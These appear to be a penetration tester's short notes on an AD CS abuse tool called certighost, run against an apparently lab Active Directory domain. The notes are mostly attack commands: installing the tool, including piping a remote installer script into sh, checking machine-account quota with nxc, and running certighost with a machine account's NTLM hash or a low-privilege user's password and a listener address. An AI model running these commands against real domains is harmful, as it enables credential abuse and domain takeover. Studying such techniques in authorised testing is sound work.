
https://github.com/0xNDI/certighost
Installation
Install uv tools
curl -LsSf https://astral.sh/uv/install.sh | sh
source ~/.bashrc
Install certighost
uv tool install 'git+https://github.com/0xNDI/certighost.git'

Abuse Using a Machine Account
https://github.com/0xNDI/cvedetect
Install
uv tool install git+https://github.com/0xNDI/cvedetect
Check for CVE
cvedetect

Check whether domain users are allowed to create new computer accounts
nxc ldap 10.0.10.5 -u 'm.thompson' -p 'Pa$$w0rd' -M maq
No we cant add mashines to the domain ❌

Run certighost with mashine acc
certighost \
-d westbridge.hsm \
--dc-ip 10.0.10.5 \
-u 'sql$' \
-H :fa8ac699d29a6145ddefd012efa6ea60 \
--ca-ip 10.0.10.5 \
--ca CA01-AD-CA \
--listener 192.168.210.2 \
--computer-name 'sql$' \
--computer-hash fa8ac699d29a6145ddefd012efa6ea60

Abuse Using a low priv user
Check whether domain users are allowed to create new computer accounts
nxc ldap 10.0.10.5 -u 'm.thompson' -p 'Pa$$w0rd' -M maq
Yes domain users are allowed to create new computer accounts ✅

Run certighost with low priv user
certighost \
-d westbridge.hsm \
-u 'm.thompson' \
-p 'Pa$$w0rd' \
--dc-ip 10.0.10.5
